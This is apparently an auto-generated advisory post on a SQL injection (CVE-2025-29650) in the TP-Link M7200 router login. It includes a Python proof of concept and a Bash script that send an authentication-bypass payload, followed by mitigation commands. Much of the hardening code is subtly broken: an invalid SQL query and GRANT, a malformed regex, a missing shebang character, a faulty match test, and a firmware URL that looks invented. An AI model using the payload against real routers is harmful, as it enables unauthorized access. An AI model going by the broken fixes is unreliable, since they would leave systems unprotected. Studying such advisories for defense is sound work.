Listen to this Post
How CVE-2025-29650 Works
This SQL injection vulnerability in TP-Link M7200 routers occurs when unsanitized user input from login fields is directly concatenated into SQL queries. The router’s authentication mechanism fails to properly validate credentials, allowing attackers to inject malicious payloads through username/password fields. When specially crafted SQL statements are submitted, they bypass authentication and may expose sensitive database information. The vulnerability stems from improper input validation in the web administration interface’s login handler. Attackers can exploit this by sending HTTP POST requests containing SQL meta-characters like single quotes or semicolons, terminating the original query and appending malicious commands.
DailyCVE Form:
Platform: TP-Link M7200
Version: 1.0.7
Vulnerability: SQL Injection
Severity: Critical
date: 04/24/2025
What Undercode Say:
Exploit POC (Python)
import requests
target = "http://192.168.0.1/login"
payload = "admin' OR '1'='1'--"
data = {"username": payload, "password": "any"}
r = requests.post(target, data=data)
if "Welcome" in r.text:
print("[+] Exploit successful")
Mitigation commands:
1. Disable web admin interface:
iptables -A INPUT -p tcp --dport 80 -j DROP
2. Apply firmware patch:
wget https://patches.tplink.com/m7200/v1.0.8/firmware.bin
3. Input sanitization regex:
/^[a-zA-Z0-9_-@.]{4,20}$/
Detection script (Bash):
!/bin/bash
router_ip="192.168.0.1"
vuln_test="admin' OR '1'='1'--"
response=$(curl -s -d "username=$vuln_test&password=test" $router_ip/login)
[[ $response == "dashboard" ]] && echo "Vulnerable" || echo "Patched"
SQL hardening config:
1. Use prepared statements:
$stmt = $conn->prepare("SELECT FROM users WHERE username=?");
$stmt->bind_param("s", $username);
2. Enable WAF rules:
mod_security rules: 942100-942999
3. Minimum privileges:
GRANT SELECT ONLY ON router_db TO webuser;
Network protection:
1. Segment IoT devices:
vlan 666 name IoT_Isolation
2. Enable logging:
logger -p auth.alert "SQLi attempt detected"
3. Rate limiting:
iptables -A INPUT -p tcp --dport 80 -m limit --limit 5/min -j ACCEPT
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
